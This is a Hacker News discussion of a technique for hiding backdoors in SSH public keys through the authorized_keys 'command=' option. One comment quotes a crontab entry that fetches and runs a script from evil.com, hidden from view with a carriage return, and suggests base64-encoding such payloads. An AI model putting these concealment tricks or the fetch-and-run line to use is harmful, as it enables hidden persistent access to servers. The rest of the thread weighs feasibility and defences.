Hacker Newsnew | past | comments | ask | show | jobs | submitlogin
Infecting SSH Public Keys with Backdoors (thc.org)
55 points by nomdep on May 25, 2023 | hide | past | favorite | 15 comments


My favorite "backdoor" was a crontab entry that looked something like this:

    */3 * * * * curl http://evil.com/x | bash # ^M52 6    1 * *   test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
The ^M was a carriage return character. `crontab -l` shows nothing unusual because the ^M causes the later innocent-looking entry to overwrite the actual entry. With the added obfuscation of two other completely innocuous entries ("daily" and "weekly"), it's not easy to spot.

Perhaps something similar could be done with SSH keys? Drop a ^M somewhere in the command and make the rest look innocuous.

Also, base64-encoding the evil command would be more effective, since a typical key is a pile of unreadable base64 anyway, so it would blend in better.



This is a fun technique, but the branding here is a little bombastic: running commands whenever a public key connects is an explicitly supported feature in OpenSSH (and other SSH daemons, like dropbear[1]).

To "exploit" this you'd need to convince someone to use it as their SSH public key, and `command=...` should be a pretty big giveaway; I wouldn't expect hiding the payload in a hex string to confuse or trick anyone except for someone who shouldn't be adding their own SSH keys to servers anyways.

[1]: https://linux.die.net/man/8/dropbear


Github probably filters this. Do others?


I love "exploits" documented in `man 5 authorized_keys` (http://man.he.net/man5/authorized_keys)


Does not make sense. Why would a user upload a public key with a "command=" option? And, in any case, the command executes with the privileges of the user, so it can do nothing that can't already be done by a normal command invocation.


From my experience, almost nobody fully understands proper public key distribution practices. Usually, it all ends with "Please find my public key attached to this e-mail." - "Imported. You can log in." No fingerprint check via different means of communication (e.g. over phone) etc.

I can imagine a scenario of an attacker being able to intercept and substitute such e-mail with an identical one that just has the attached public key modified to include the backdoor "command=" modification. There may be numerous other scenarios such as substituting a public key in a shared public key storage/database.

Public keys are often treated as something totally harmless. It's assumed that the worst case scenario is that SSH connection will just fail if a public key was tampered with unless an attacker is also able to intercept and proxy actual SSH connection in real time (which is much more complex and much less feasible).

The attack described should be taken very seriously. Entities that have shared public key repositories may need to review their practices and include an automatic check for "command=" in the public keys uploaded. Of course, proper procedures on SSH server end (such as visually inspecting a key before installing it while confirming the fingerprint over a different medium) should already prevent this attack from succeeding, but they likely rely on additional human intervention which is not always done in real life.


That makes more sense, but then, in any case, you should be transmitting public keys over a medium that is authenticated in some form. Otherwise, an attacker could simple replace the key by theirs.

The advantage of this method is that it works without supervision. If the attacker just replaced the key, they would have to attempt to login in the narrow window between installation and it being replaced because it does not work.


Exactly the reason I’ve half considered flagging the article.

You remember the old meme, 1. A thing 2. ??? 3. Profit!

This is sort of like that: TFA skips over the part where the user is owned or conned by someone else.

The honest headline would be “yet another clever malicious thing you can do once you compromise someone else’s accounts!” but I can see where that would get fewer clicks.


It's a persistence technique, see https://attack.mitre.org/tactics/TA0003/


Absolutely! In the meme, it would be step 3, profit/persist. You still need step 2, own.

An even better headline, that would get even fewer clicks, would be "post compromise persistence technique using SSH authorized keys".


Yes.


How would this be deployed? If you already have access to the users authorized-keys it seems like you'd have enough access to do many other, more damaging things.


Well, for example GitHub supports ssh keys for login. I assume it's not vulnerable to this, but I don't know...


Spoiler: It isn't, it doesn't even run OpenSSH at this point anyway[1]. Gitlab has gitlab-sshd[2], which can be used in place of the OpenSSH-based approach as well. It is used on gitlab.com.

[1]: debug1: Remote protocol version 2.0, remote software version babeld-51390fc7

[2]: https://docs.gitlab.com/ee/administration/operations/gitlab_...




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: